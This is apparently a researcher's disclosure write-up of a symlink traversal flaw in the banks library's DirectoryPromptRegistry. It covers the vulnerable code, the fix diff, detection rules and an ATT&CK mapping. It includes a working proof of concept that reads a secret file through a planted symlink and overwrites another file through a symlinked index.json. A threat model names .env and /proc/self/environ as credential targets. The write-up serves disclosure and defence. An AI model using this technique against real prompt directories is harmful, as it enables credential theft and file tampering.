Disclosure: CVE-2026-107716 (CWE-59, CWE-22) affects banks up to 2.5.0. I reported it to the maintainer, masci, as jankesec. It is fixed in 2.5.1 by PR #79 and published as GHSA-556j-vv39-8rqv. GitHub, as CNA, scored it CVSS 4.0 7.3 (High): CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N.

DirectoryPromptRegistry in banks keeps prompts as files in a directory. Up to version 2.5.0 it read and wrote those files, and the index.json that lists them, without checking whether they were symbolic links. A symlink placed in the prompt directory therefore lets the registry read or overwrite a file anywhere the process can reach.

The attacker has to get a symlink into the prompt directory. That is possible when the directory is filled from untrusted input: an unpacked archive, a cloned repository, or a folder shared between tenants. The application then has to load or save prompts from that directory, which DirectoryPromptRegistry does when it is created and on every set().

How the registry stores prompts

  • Each prompt is a file named <name>.<version>.jinja in the registry directory. index.json lists them.
  • Creating a DirectoryPromptRegistry runs _scan() when there is no index.json (or with force_reindex=True), and _load() otherwise.
  • _scan() opens every *.jinja* file, stores its text in the index and writes index.json.
  • get(name=..., version=...) returns a prompt from the index.
  • set(prompt=...) writes the prompt file and then calls _save() to rewrite index.json.

Version 2.5.0 already rejected prompt names that escape the directory (the advisory points to PR #77), but it never asked whether a file is a symlink. The writes and reads below follow links, as open() does on POSIX:

        version = prompt.version or DEFAULT_VERSION
        prompt_file = _resolve_prompt_file(path, prompt.name, version)
        prompt_file.write_text(prompt.raw)
    def _save(self):
        """Save the prompt index to disk."""
        self._index_path.write_text(self._index.model_dump_json())

    def _scan(self):
        """Scan directory for prompt files and build the index."""
        self._index: PromptFileIndex = PromptFileIndex()
        for path in self._path.glob("*.jinja*"):
            name, version = path.stem.rsplit(".", 1) if "." in path.stem else (path.stem, DEFAULT_VERSION)
            with path.open("r") as f:
                pf = PromptFile(text=f.read(), name=name, version=version, path=path, metadata={})
                self._index.files.append(pf)
        self._index_path.write_text(self._index.model_dump_json())

The advisory lists three places:

  1. index.json is never checked. _save() overwrites the target of a link, and _load() reads it.
  2. _scan() opens .jinja files without checking is_symlink() or whether the resolved path leaves the registry root.
  3. set() writes a prompt file without checking whether it is already a symlink.

A link named leak.0.jinja that points at a secret file is read into the index. A link named index.json is written through by _save().

CVE-2026-107716 · SYMLINKS IN A PROMPT DIRECTORY PROMPT DIRECTORY /var/app/prompts/ system.0.jinja (regular file) leak.0.jinja (symlink) → /etc/app/secret.env index.json (symlink) → /etc/app/config.conf The links arrive with an archive, a clone or a shared folder OUTSIDE THE REGISTRY ROOT The registry root was meant to be the boundary READ: secret.env _scan() stores its text in the index get() returns it to the caller OVERWRITE: config.conf set() → _save() writes index.json write_text() follows the link
DirectoryPromptRegistry opens and writes every file in its directory without checking where a link points.

Proof of concept

The PoC is the one from the advisory. The first half plants a symlink in a registry directory and reads through it. The second half points index.json at another file and lets the registry overwrite it:

import os
from pathlib import Path
from banks.registries.directory import DirectoryPromptRegistry, DEFAULT_INDEX_NAME
from banks.prompt import Prompt

# Disclose external file via symlink in prompt directory
reg_dir = Path("/tmp/registry")
reg_dir.mkdir(exist_ok=True)
secret = Path("/tmp/secret.txt")
secret.write_text("SECRET_API_TOKEN")

os.symlink(secret, reg_dir / "leak.0.jinja")
reg = DirectoryPromptRegistry(reg_dir, force_reindex=True)
print("Disclosed content:", reg.get(name="leak", version="0").raw)

# Overwrite external file via symlink index
target = Path("/tmp/target.conf")
target.write_text("ORIGINAL")
(reg_dir / DEFAULT_INDEX_NAME).unlink(missing_ok=True)
os.symlink(target, reg_dir / DEFAULT_INDEX_NAME)
reg.set(prompt=Prompt("pwn", name="test", version="1"))
print("Target overwritten:", target.read_text())

With force_reindex=True the constructor runs _scan(), which reads leak.0.jinja through the link, and get() returns that text. In the second half, set() writes test.1.jinja and then _save() rewrites index.json. Because index.json is a link to /tmp/target.conf, that file ends up holding the registry’s index JSON instead of ORIGINAL.

On 2.5.1 the constructor already raises InvalidPromptError, because _scan() rejects the symlinked prompt file.

Evidence matrix

EvidenceWhat it showsResult
GHSA-556j-vv39-8rqvAdvisory published by GitHub as CNAPublished 2026-10-08. CWE-22 and CWE-59. <= 2.5.0 affected, 2.5.1 patched.
CVE recordSeverity assigned by the CNACVSS 4.0 7.3 (High)
Fix PR #79 (23ed13e)Symlink checks, containment checks and O_NOFOLLOW writesMerged 2026-09-10, with regression tests
banks 2.5.1 on PyPIRelease that contains the fixUploaded 2026-09-10
PoC from the advisory, first halfget() on a symlinked leak.0.jinjaReturns the text of the link target on 2.5.0
PoC from the advisory, second halfset() with index.json linked to another fileOverwrites the link target on 2.5.0
Negative control (2.5.1)Code review of _scan() and _validate_index_path() in the fixSymlinked prompt files and a symlinked index.json raise InvalidPromptError

The fix (PR #79)

PR #79 (commit 23ed13e) was merged on 2026-09-10 and shipped as 2.5.1 the same day. It adds a symlink check and a containment check to every path the registry reads or writes, and it writes with O_NOFOLLOW where the platform supports it. Every failure raises InvalidPromptError. The excerpts below are from the PR diff.

Writes go through a helper that refuses to follow links. Without O_NOFOLLOW (Windows), it falls back to write_text() and relies on the earlier checks:

--- a/src/banks/registries/directory.py
+++ b/src/banks/registries/directory.py
@@ -24,6 +25,23 @@
 DEFAULT_INDEX_NAME = "index.json"
 
 
+def _write_file_no_follow(path: Path, content: str) -> None:
+    """Write content to a file, strictly refusing to follow symbolic links."""
+    no_follow = getattr(os, "O_NOFOLLOW", None)
+    if no_follow is not None:
+        try:
+            fd = os.open(str(path), os.O_WRONLY | os.O_CREAT | os.O_TRUNC | no_follow)
+        except OSError as exc:
+            msg = f"Path is a symbolic link or cannot be opened: {path}"
+            raise InvalidPromptError(msg) from exc
+        with os.fdopen(fd, "w", encoding="utf-8") as f:
+            f.write(content)
+    else:
+        # Platform does not support O_NOFOLLOW (e.g. Windows);
+        # rely on earlier symlink checks in _resolve_prompt_file and _validate_index_path.
+        path.write_text(content, encoding="utf-8")
+
+
 def _resolve_prompt_file(registry_root: Path, name: str, version: str) -> Path:
     """Resolve the on-disk path for a prompt file, ensuring it stays within ``registry_root``."""
     if Path(name).is_absolute():

index.json gets its own check:

@@ -105,6 +136,14 @@ def __init__(self, directory_path: str, *, force_reindex: bool = False):
         else:
             self._load()
 
+    def _validate_index_path(self):
+        if self._index_path.is_symlink():
+            msg = f"Index file cannot be a symbolic link: {self._index_path}"
+            raise InvalidPromptError(msg)
+        if self._index_path.exists() and not self._index_path.resolve().is_relative_to(self._path.resolve()):
+            msg = f"Index file escapes registry root: {self._index_path}"
+            raise InvalidPromptError(msg)
+
     @property
     def path(self) -> Path:
         """Get the directory path where prompts are stored."""

_load() and _save() call that check. _scan() rejects symlinks and paths that leave the root, and ends with _save():

@@ -167,17 +207,34 @@ def _load(self):
 
     def _save(self):
         """Save the prompt index to disk."""
-        self._index_path.write_text(self._index.model_dump_json())
+        self._validate_index_path()
+        _write_file_no_follow(self._index_path, self._index.model_dump_json())
 
     def _scan(self):
         """Scan directory for prompt files and build the index."""
-        self._index: PromptFileIndex = PromptFileIndex()
-        for path in self._path.glob("*.jinja*"):
-            name, version = path.stem.rsplit(".", 1) if "." in path.stem else (path.stem, DEFAULT_VERSION)
-            with path.open("r") as f:
-                pf = PromptFile(text=f.read(), name=name, version=version, path=path, metadata={})
+        self._validate_index_path()
+        self._index = PromptFileIndex()
+        root = self._path.resolve()
+        for path in sorted(self._path.rglob("*.jinja")):
+            if not path.is_file():
+                continue
+            if path.is_symlink():
+                msg = f"Symbolic links are not allowed in prompt registry: {path}"
+                raise InvalidPromptError(msg)
+            resolved = path.resolve()
+            if not resolved.is_relative_to(root):
+                msg = f"Prompt path escapes registry root: {path}"
+                raise InvalidPromptError(msg)
+
+            rel = path.relative_to(self._path)
+            stem = rel.stem
+            name_part, version = stem.rsplit(".", 1) if "." in stem else (stem, DEFAULT_VERSION)
+            full_name = f"{rel.parent.as_posix()}/{name_part}" if str(rel.parent) != "." else name_part
+
+            with path.open("r", encoding="utf-8") as f:
+                pf = PromptFile(text=f.read(), name=full_name, version=version, path=path, metadata={})
                 self._index.files.append(pf)
-        self._index_path.write_text(self._index.model_dump_json())
+        self._save()

_resolve_prompt_file() also rejects a prompt path that is a symlink before it resolves it.

AI asset pipeline threat model

Prompt registries and template loaders represent an often overlooked trust boundary in LLM architectures. In multi-tenant platforms, prompt engineers or external contributors upload prompt bundles (via ZIP, tarball, or Git repository import) that are consumed by the central AI inference worker:

  • The Read vector: If the prompt registry does not reject symbolic links, an imported prompt file pointing to /app/.env or /proc/self/environ leaks runtime API keys, database credentials, and LLM provider tokens back into the prompt rendering engine.
  • The Write vector: Because DirectoryPromptRegistry.set() overwrites files and rewrites index.json, a symlink pointing to application code or configuration files allows an attacker with prompt-saving rights to achieve arbitrary file overwrite and potential code execution.

Detection engineering and telemetry

Organizations operating LLM infrastructure can detect and prevent prompt directory symlink abuse at the host, pipeline, and container level.

1. Linux Auditd file monitoring

Deploy an auditd rule to monitor symlink creation inside directories allocated to LLM templates and registries:

# /etc/audit/rules.d/99-ai-prompts-symlink.rules
# Track symlink syscalls in the application prompt store
-a always,exit -F arch=b64 -S symlink -S symlinkat -F dir=/var/app/prompts -k prompt_symlink_created

When an untrusted archive unpacks a symbolic link into the prompt directory, auditd records the event:

type=SYSCALL msg=audit(1728345600.781:1094): arch=c000003e syscall=88 success=yes exit=0
  a0=7ffd54321000 a1=7ffd54321200 items=2 ppid=8412 pid=8420
  auid=1000 uid=1000 gid=1000 euid=1000 comm="tar" exe="/usr/bin/tar" key="prompt_symlink_created"
type=PATH msg=audit(1728345600.781:1094): item=0 name="/var/app/prompts/leak.0.jinja"

2. CI/CD Git pipeline pre-flight check

Block commits containing symbolic links before prompt bundles enter production pipelines:

#!/usr/bin/env bash
# Git pre-receive / CI validation hook
# Reject any symbolic link committed to prompt paths
if git ls-files -s prompts/ | grep -q "^120000"; then
    echo "[-] REJECTED: Symbolic link detected in prompt repository." >&2
    exit 1
fi

3. Safe archive extraction

When unpacking user-supplied archive bundles containing prompts, enforce strict extraction filters (Python 3.12+ tarfile.data_filter):

import tarfile

# Secure extraction blocking symlinks escaping destination
with tarfile.open("untrusted_prompts.tar.gz") as tar:
    tar.extractall(path="/var/app/prompts", filter="data")

ATT&CK technique mapping

TacticTechnique IDTechnique NameExploitation MechanismDefensive Control
DiscoveryT1083File and Directory DiscoverySymlink leak.0.jinja pointing to sensitive local files is read into prompt index.Disallow symlinks via is_symlink() and enforce containment.
Credential AccessT1552.001Unsecured Credentials: Credentials in FilesPrompt reader leaks credentials or tokens stored in .env files outside root.Isolate prompt processes; run worker with minimal DAC permissions.
ImpactT1565.001Data Manipulation: Stored Data ManipulationWriting through a symlinked index.json overwrites arbitrary host configuration files.Open files with O_NOFOLLOW; verify canonical path containment.
Initial AccessT1195.002Supply Chain Compromise: Vulnerable ComponentFlawed prompt management library allows cross-tenant filesystem access.Upgrade to banks>=2.5.1.

Takeaways

  1. A directory that is filled from untrusted input is untrusted, including the target of every link inside it.
  2. open(), Path.read_text() and Path.write_text() follow symlinks. Open with os.O_NOFOLLOW where it exists, as the fix does for writes. A check followed by an open can still race with a link swapped in between.
  3. When you unpack zip or tar archives, skip or reject symlink entries before the files reach the application directory.

Upgrade to banks 2.5.1 or later.

Severity Assessment · HIGH

Vulnerability Scoring & CVSS Vector Breakdown

Base score and individual metric vector breakdown calculated by GitHub CNA.

7.3High
CVSS Vector StringCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
AV · VectorLocal
AC · ComplexityLow
AT · Attack RequirementsPresent
PR · PrivilegesLow
UI · User InteractionNone
VC · ConfidentialityHigh
VI · IntegrityHigh
VA · AvailabilityLow
SC · Subsequent ConfidentialityNone
SI · Subsequent IntegrityNone
SA · Subsequent AvailabilityNone
Audit Trail · CVE-2026-107716

Coordinated Disclosure & Remediation Timeline

Verified chronological audit trail for CVE-2026-107716: from reproduction to upstream fix, backport, and official advisory release.

  1. Fix mergedStep 01

    The maintainer merged the change that rejects symbolic links in the prompt registry (PR #79).

    Source / Reference ↗
  2. PublishedStep 02

    GitHub, as CNA, published the CVE record and advisory GHSA-556j-vv39-8rqv.

    Source / Reference ↗
  3. Record updateStep 03

    CISA added its Vulnrichment (SSVC) assessment to the CVE record.

  4. Site verificationStep 04

    jankesec checked the CVE record, score, affected versions, and references.

Sources & limits

Evidence used for this analysis

Sources checkedOctober 8, 2026

Version and exploitation status can change; follow the linked vendor records.

Review statusAuthor review complete

The author completed a technical review. This does not, by itself, claim lab reproduction.

◈ CITE THIS RESEARCH

Reference this analysis in technical reports or publications:

@misc{jankesec_cve_2026_107716_banks_symlink_traversal_2026,
  author = {Sevban Dönmez},
  title = {CVE-2026-107716: Symlink Traversal in banks Prompt Registry},
  year = {2026},
  howpublished = {\url{https://jankesec.com/research/cve-2026-107716-banks-symlink-traversal/}},
  note = {jankesec technical security research (CVE-2026-107716)}
}